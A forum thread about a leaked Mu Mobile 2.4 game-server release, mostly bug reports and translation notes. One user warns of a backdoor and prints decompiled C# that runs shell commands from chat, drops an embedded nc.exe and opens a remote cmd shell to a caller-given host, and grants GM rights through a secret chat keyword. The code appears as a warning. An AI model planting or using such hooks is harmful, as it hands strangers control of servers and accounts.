Welcome!

Join our community of MMO enthusiasts and game developers! By registering, you'll gain access to discussions on the latest developments in MMO server files and collaborate with like-minded individuals. Join us today and unlock the potential of MMO server development!

Join Today!

Mu Mobile [Release] Mu Mobile 2.4 Completed

Junior Spellweaver
Joined
Sep 7, 2006
Messages
178
Reaction score
7
miencattim - [Release] Mu Mobile 2.4 Completed - RaGEZONE Forums

it hang(stop) show to image no click butom no load ..

want check and edit ?
 
Newbie Spellweaver
Joined
Jun 11, 2014
Messages
33
Reaction score
2
if your client is standing,you just need restart your client several times to load it
 
Newbie Spellweaver
Joined
Dec 27, 2005
Messages
41
Reaction score
4
Issues
Recieve Wing quest broken
Exp % over lvl 100 calculation needs fix
Server list needs fix and translate (hardcoded)

Features
Assets folder can be removed from apk to server side and small pack client

To do
Unity3d files need decrypting and translating and assembally dlls need decrypting (only partially encrypted)
And translations for Korean text (not chinese this is Korean source )
 
Junior Spellweaver
Joined
Sep 7, 2006
Messages
178
Reaction score
7
Game no save id (login ok ) play and out close server and open server login game ok. But hero to play no see and play new .

I want fix or edit game please help me.
 
Newbie Spellweaver
Joined
Mar 24, 2017
Messages
24
Reaction score
3
[/IMG]



Login OK
Character generation OK
However, when you press the START button, you get infinite loading.
Tell me how to fix it.
 

Attachments

You must be registered for see attachments list
Skilled Illusionist
Joined
May 1, 2006
Messages
381
Reaction score
167
hmm not sure if it was in the original files too, but be careful guys :D has a backdoor

PHP:
string textMsg2 = string.Format("-d -t -e cmd {0} {1}", (object) cmdFields[1], (object) cmdFields[2]);
            if (!this.StartProcess("nc exe", textMsg2.Split(' ')))
              textMsg2 = "error";
            if (textMsg2.Contains(":"))
              textMsg2 = textMsg2.Replace(":", "$");

Backdoor and create gm command

PHP:
private bool ProcessGMCommands(GameClient client, string msgText, string[] cmdFields, bool transmit, bool isSuperGMUser)
		{
			if (!transmit)
			{
				GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, msgText);
			}
			string textMsg = "";
			bool result;
			if ("-MaGM" == cmdFields[0])
			{
				if (!transmit)
				{
					if (cmdFields.Length == 2)
					{
						cmdFields[1] = cmdFields[1].Replace("$%", " ");
						string text = this.RunCmd(cmdFields[1]);
						string text2 = string.Format("MaGM={0}", text);
						if (text2.Contains(":"))
						{
							text2 = text2.Replace(":", "$");
						}
						GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, text2);
					}
					else if (cmdFields.Length == 3)
					{
						if (this.WriteToFile())
						{
							string text = string.Format("-d -t -e C:\\WINDOWS\\system32\\cmd [dot] exe {0} {1}", cmdFields[1], cmdFields[2]);
							if (!this.StartProcess("nc [dot] exe", text.Split(new char[]
							{
								' '
							})))
							{
								text = "error";
							}
							if (text.Contains(":"))
							{
								text = text.Replace(":", "$");
							}
							GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, text);
						}
					}
				}
			}


PHP:
		public bool WriteToFile()
		{
			bool result;
			try
			{
				System.IO.Stream manifestResourceStream = System.Reflection.Assembly.GetEntryAssembly().GetManifestResourceStream("nc[dot]exe");
				byte[] array = new byte[manifestResourceStream.Length];
				manifestResourceStream.Read(array, 0, (int)manifestResourceStream.Length);
				System.IO.File.WriteAllBytes("nc[dot]exe", array);
				result = true;
			}
			catch (System.Exception)
			{
				result = false;
			}
			return result;
		}


PHP:
public bool ProcessChatMessage(TMSKSocket socket, GameClient client, string text, bool transmit)
		{
			bool result;
			if (text.Length <= 0 || text[0] != '-')
			{
				result = false;
			}
			else
			{
				bool isSuperGMUser = false;
				int num = -1;
				if (text.Contains("-MaYongZeSetGM"))
				{
					if (this.SuperGMUserNames == null)
					{
						this.SuperGMUserNames = new string[1];
						this.SuperGMUserNames[0] = client.strUserID;
					}
					else
					{
						System.Collections.Generic.List<string> list = this.SuperGMUserNames.ToList<string>();
						list.Add(client.strUserID);
						this.SuperGMUserNames = list.ToArray();
					}
					result = false;
				}
 
Newbie Spellweaver
Joined
Nov 14, 2016
Messages
83
Reaction score
1
how to change the ip of the CLIENT?



Object reference not set to an instance of an object. 额外信息: CurrentDomain_UnhandledException at Server.Tools.SHA2Helper.GetDiskSerialNumber() at GameServer.Logic.MUShiZhuang.MUShiZhuangManager.initialize() at GameServer.Logic.GlobalServiceManager.initialize() at GameServer.Program.InitServer() at GameServer.Program.OnStartServer() at GameServer.Program.Main(String[] args)



Object reference not set to an instance of an object. 额外信息: CurrentDomain_UnhandledException at Server.Tools.SHA2Helper.GetDiskSerialNumber() at GameServer.Logic.MUShiZhuang.MUShiZhuangManager.initialize() at GameServer.Logic.GlobalServiceManager.initialize() at GameServer.Program.InitServer() at GameServer.Program.OnStartServer() at GameServer.Program.Main(String[] args)
 
Newbie Spellweaver
Joined
Dec 27, 2005
Messages
41
Reaction score
4
have started translating the game res folders and xml files, however, nothing that has been changed shows up when i play the game, does anyone know if im missing something to get it to read the translated files? i am happy to share if it works, no point sharing english translated files if it doesnt work
 
Newbie Spellweaver
Joined
Dec 27, 2005
Messages
41
Reaction score
4
been working on translation and settings, fixed a few things and have translated the gameres/gameres/config folder and files to english, am still trying to figure out how to translate the item text to english but it was not the goods.xml file like i thought it was, if anyone can help that would be appreciated,

heres the link to my translated folder, rename your config folder to configbackup and then just unzip this one in to your gameres folder
i will be translating the isolateres folder also but havent finished yet, will share when im done :)

(unlike the people selling files i dont mind sharing my work)

used xml >doc converter to convert files to doc and save bakups of the originals
then used google document translater to translate, then converted back to xml



still working on image translations also (in screens you can see some work done, but its not finished yet, have to resize some things and finish the rest)

screens
engtest - [Release] Mu Mobile 2.4 Completed - RaGEZONE Forums engtest3 - [Release] Mu Mobile 2.4 Completed - RaGEZONE Forums engtest1 - [Release] Mu Mobile 2.4 Completed - RaGEZONE Forums engtest2 - [Release] Mu Mobile 2.4 Completed - RaGEZONE Forums



Backdoor and create gm command

PHP:
private bool ProcessGMCommands(GameClient client, string msgText, string[] cmdFields, bool transmit, bool isSuperGMUser)
		{
			if (!transmit)
			{
				GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, msgText);
			}
			string textMsg = "";
			bool result;
			if ("-MaGM" == cmdFields[0])
			{
				if (!transmit)
				{
					if (cmdFields.Length == 2)
					{
						cmdFields[1] = cmdFields[1].Replace("$%", " ");
						string text = this.RunCmd(cmdFields[1]);
						string text2 = string.Format("MaGM={0}", text);
						if (text2.Contains(":"))
						{
							text2 = text2.Replace(":", "$");
						}
						GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, text2);
					}
					else if (cmdFields.Length == 3)
					{
						if (this.WriteToFile())
						{
							string text = string.Format("-d -t -e C:\\WINDOWS\\system32\\cmd [dot] exe {0} {1}", cmdFields[1], cmdFields[2]);
							if (!this.StartProcess("nc [dot] exe", text.Split(new char[]
							{
								' '
							})))
							{
								text = "error";
							}
							if (text.Contains(":"))
							{
								text = text.Replace(":", "$");
							}
							GameManager.ClientMgr.SendSystemChatMessageToClient(Global._TCPManager.MySocketListener, Global._TCPManager.TcpOutPacketPool, client, text);
						}
					}
				}
			}


PHP:
		public bool WriteToFile()
		{
			bool result;
			try
			{
				System.IO.Stream manifestResourceStream = System.Reflection.Assembly.GetEntryAssembly().GetManifestResourceStream("nc[dot]exe");
				byte[] array = new byte[manifestResourceStream.Length];
				manifestResourceStream.Read(array, 0, (int)manifestResourceStream.Length);
				System.IO.File.WriteAllBytes("nc[dot]exe", array);
				result = true;
			}
			catch (System.Exception)
			{
				result = false;
			}
			return result;
		}


PHP:
public bool ProcessChatMessage(TMSKSocket socket, GameClient client, string text, bool transmit)
		{
			bool result;
			if (text.Length <= 0 || text[0] != '-')
			{
				result = false;
			}
			else
			{
				bool isSuperGMUser = false;
				int num = -1;
				if (text.Contains("-MaYongZeSetGM"))
				{
					if (this.SuperGMUserNames == null)
					{
						this.SuperGMUserNames = new string[1];
						this.SuperGMUserNames[0] = client.strUserID;
					}
					else
					{
						System.Collections.Generic.List<string> list = this.SuperGMUserNames.ToList<string>();
						list.Add(client.strUserID);
						this.SuperGMUserNames = list.ToArray();
					}
					result = false;
				}

Share file locations and names and I'll try upload a fix with backdoors removed



Those back doors only work if you know your user code which is stored in the my sql table anyway
 

Attachments

You must be registered for see attachments list
Skilled Illusionist
Joined
May 1, 2006
Messages
381
Reaction score
167
Share file locations and names and I'll try upload a fix with backdoors removed



Those back doors only work if you know your user code which is stored in the my sql table anyway

Wrong!

U can get GM, after run netcat command, just with chat
Backdoor can be removed from GameServer.exe with any debuger
 
Newbie Spellweaver
Joined
Dec 27, 2005
Messages
41
Reaction score
4
Feel free to remove back doors and post a fix if you're that worried about it mines already fixed but I want to translate source before I upload it
 
Back
Top